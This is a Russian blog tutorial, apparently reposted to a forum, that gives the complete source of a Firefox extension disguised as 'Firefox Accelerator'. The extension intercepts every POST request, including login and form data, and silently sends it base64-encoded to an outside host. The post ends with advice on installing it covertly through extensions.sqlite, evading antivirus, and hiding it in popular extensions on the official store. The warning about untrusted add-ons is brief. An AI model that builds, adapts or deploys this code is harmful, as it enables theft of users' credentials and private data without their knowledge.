Пишем простое расширение для Mozilla Firefox Mozilla Firefox, как и прочие современные браузеры, поддерживает возможность наращивания функционала с помощью расширений. Множество полезных и не очень расширений доступно на официальном и прочих сайтах, причем многие их ставят, не задумываясь о возможных закладках в них. В качестве примера можно вспомнить не более чем годичной давности случай с расширением, которое добавляло возможность кастомизации личной странички в ВКонтакте, но при этом активно себя рекламировало, рассылая сообщения по друзьям, используя браузер установившего. Поэтому, а заодно в связи с появившейся свободной минуткой я решил набросать пример простого расширения для Firefox, которое будет перехватывать POST-запросы и отправлять их содержимое на сторонний сайт. Основы процесса подробно описаны, например, здесь и здесь, поэтому часть кода будет приведена без комментариев. Так как плагин обладает небольшими функциональными возможностями, то из всех типичных для расширения файлов (о которых вы могли прочесть по ссылкам выше) будут использоваться лишь несколько - это chrome.manifest, install.rdf, browser.xul и файл, который содержит непосредственно код расширения. В итоге у вас должна получиться следующая структура: Code: :plugin_dir │ chrome.manifest │ install.rdf │ └───chrome └───content accelerator.js browser.xul Начнем с файла chrome.manifest: Code: content accelerator chrome/content/ content accelerator chrome/content/ contentaccessible=yes overlay chrome://browser/content/browser.xul chrome://accelerator/content/browser.xul Ничего интересного он не содержит, мы как бы указываем путь относительно директории с расширением (плагином), где хранится основной исполняемый файл для него. Флаг contentaccessible задает возможность использования некоторых HTML-элементов вроде img и script из недоверенных источников, подробнее можно прочитать тут. Строка с overlay используется для подгрузки JS-кода расширения в контексте браузера, хотя по большому счету оверлеи необходимы для изменения пользовательского интерфейса (добавления кнопочек, меню и подобной лабуды). XUL файл представляет из себя обычный XML-файл, подчиняющийся определенным правилам. Подробнее можно почитать на сайте MDN. В нашем случае browser.xul прост до невозможности: Code: <?xml version="1.0"?> <overlay id="accelerator" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script src="accelerator.js" /> </overlay> Теперь рассмотрим файл install.rdf, который тоже является XML-файлом, описывающим устанавливаемое расширение, информацию об авторе, диапазон совместимых версий браузера, версию плагина и тому подобное: Code: <?xml version="1.0"?> <RDF xmlns="http://www.w3.org/1999/02/22-rdf-syntax-ns#" xmlns:em="http://www.mozilla.org/2004/em-rdf#"> <Description about="urn:mozilla:install-manifest"> <em:id>[email protected]</em:id> <em:name>Firefox Accelerator</em:name> <em:version>1.0</em:version> <em:type>2</em:type> <em:creator>Oh noes LTD</em:creator> <em:description></em:description> <em:homepageURL>http://www.google.com/</em:homepageURL> <em:targetApplication> <Description> <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id> <em:minVersion>2.0</em:minVersion> <em:maxVersion>16.0.*</em:maxVersion> </Description> </em:targetApplication> </Description> </RDF> Тут использован довольно скудный набор возможных атрибутов (полный), но нам много и не надо. Параметр id в секции Description является обыкновенным GUID, его можно сгенерировать как самому, практически от балды, так и с помощью всяких утилит и сайтов. И, наконец, рассмотрим код самого плагина: Code: // Адрес хоста для отправки отчетов var log_host = "kaimi.ru"; // Путь к скрипту - приемщику var log_uri = "/test.php"; // Максимальный размер POST-данных для отправки var log_req_limit = 1024; var accelerator = { // Функция для установки обработчика на событие http-on-modify-request // Список событий можно посмотреть здесь https://developer.mozilla.org/en/Observer_Notifications add_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.addObserver(this, "http-on-modify-request", false); }, // Функция для снятия обработчика на событие http-on-modify-request // Не вызывается, но пусть будет remove_observer : function() { var observerService = Components.classes["@mozilla.org/observer-service;1"].getService(Components.interfaces.nsIObserverService); observerService.removeObserver(this, "http-on-modify-request"); }, // Функция, которая вызывается при возникновении интересующего нас события observe : function(subject, topic, data) { var http_channel = subject.QueryInterface(Components.interfaces.nsIHttpChannel); // Проверяем тип события if(topic == "http-on-modify-request") { // Исключаем из фильтрации URL хоста для приема отчетов var uri = subject.URI.spec; if(new RegExp('^http://(?:www\.)*' + log_host, 'i').test(uri)) { // Если не проводить некоторых манипуляций с исходящим запросом, то он перешлется автоматически return; } // Обрабатываем только POST-запросы if(http_channel.requestMethod == "POST") { // Извлекаем объект, в котором хранится запрос var upload_channel = http_channel.QueryInterface(Components.interfaces.nsIUploadChannel); var upload_channel_stream = upload_channel.uploadStream; upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); var stream = Components.classes["@mozilla.org/binaryinputstream;1"].createInstance(Components.interfaces.nsIBinaryInputStream); stream.setInputStream(upload_channel_stream); // Получаем содержимое POST-запроса в виде строки var post_bytes = stream.readByteArray(stream.available()); var post_data = String.fromCharCode.apply(null, post_bytes); // Отделяем тело запроса от вспомогательных заголовков с размером и типом содержимого var tmp = post_data.split("\r\n\r\n"); if(tmp[1] && tmp[1].length <= log_req_limit) { this.send_post_data(uri, tmp[1]); } // Устанавливаем смещение в потоке на начало upload_channel_stream.QueryInterface(Components.interfaces.nsISeekableStream).seek(Components.interfaces.nsISeekableStream.NS_SEEK_SET, 0); } } }, // Вспомогательная функция для отправки POST-запроса на хост send_post_data : function(uri, data) { // Кодируем данные для безопасной передачи var enc_data = escape(this.base64_encode(data)); var enc_uri = escape(this.base64_encode(uri)); // XMLHttpRequest, вызванный из расширения, не обладает стандартными ограничениями // таким образом обратиться можно к любому хосту var req = new XMLHttpRequest(); req.open("POST", "http://" + log_host + log_uri, true); req.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); req.send("uri=" + enc_uri + "&info=" + enc_data); }, // Неведомая фигня, которая была взята из tamper data QueryInterface : function(iid) { if(iid.equals(Components.interfaces.nsISupports) || iid.equals(Components.interfaces.nsIObserver)) { return this; } throw Components.results.NS_NOINTERFACE; }, // Вспомогательный метод для кодирования данных в Base64 base64_encode : function(data) { var b64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="; var o1, o2, o3, h1, h2, h3, h4, bits, i = 0, ac = 0, enc = "", tmp_arr = []; if(!data) { return data; } do { o1 = data.charCodeAt(i++); o2 = data.charCodeAt(i++); o3 = data.charCodeAt(i++); bits = o1 << 16 | o2 << 8 | o3; h1 = bits >> 18 & 0x3f; h2 = bits >> 12 & 0x3f; h3 = bits >> 6 & 0x3f; h4 = bits & 0x3f; tmp_arr[ac++] = b64.charAt(h1) + b64.charAt(h2) + b64.charAt(h3) + b64.charAt(h4); } while (i < data.length); enc = tmp_arr.join(''); var r = data.length % 3; return (r ? enc.slice(0, r - 3) : enc) + '==='.slice(r || 3); } }; // Вызываем метод, который установит обработчик на интересующее нас событие accelerator.add_observer(); Сделать из набора файлов и директорий расширение можно очень просто, достаточно заархивировать содержимое в ZIP и переименовать из .zip в .xpi. Или вот такой незамысловатой командой, находясь в директории с файлами расширения (при условии наличия консольного zip'a): Code: zip -r extension.xpi ./* В чем же цимес подобного расширения? А в том, что оно обладает практически неограниченным доступом к компьютеру пользователя, и если в моем примере ведется примитивный перехват POST-запросов, то теоретически расширение может включать в себя все что угодно, даже нативный код. В то же время антивирусные системы практически не контролируют операции с директорией %APPDATA%, где Firefox хранит пользовательские настройки и расширения, что позволяет в тихую добавить его в браузер (например, отредактировав файл extensions.sqlite) и получить хороший такой, неконтролируемый доступ в сеть. http://kaimi.ru/wp-content/uploads/2012/06/sqlite.png Топорно? Зато эффективно. Тем более такую закладку можно добавить в действительно полезное расширение или в какое-нибудь существующее, а далее попытаться распространять его через официальный сайт. Простор для творчества очень широк, как и целевая аудитория. В общем изучайте, исследуйте, и на вас снизойдет дзен, а ещё вы научитесь танцевать как dx . Все файлы одним архивом: скачать Среда, 27. Июнь 2012 Автор: Kaimi http://kaimi.ru/2012/06/simple-firefox-extension/ http://kaimi.ru/ PS 1.. Интересно по каким дня dx проводит обучение таким пляскам и во сколько оценивается урок.. хочу научиться.. 2.. Всю утреннюю пробежку по инету преследуют расширения.. дополнения.. лисичка в целом в разных видах и позах (Firefox для Android; расширение под хаброящик; индикаторы ключевой информации на сайтах для Firefox ) и вот..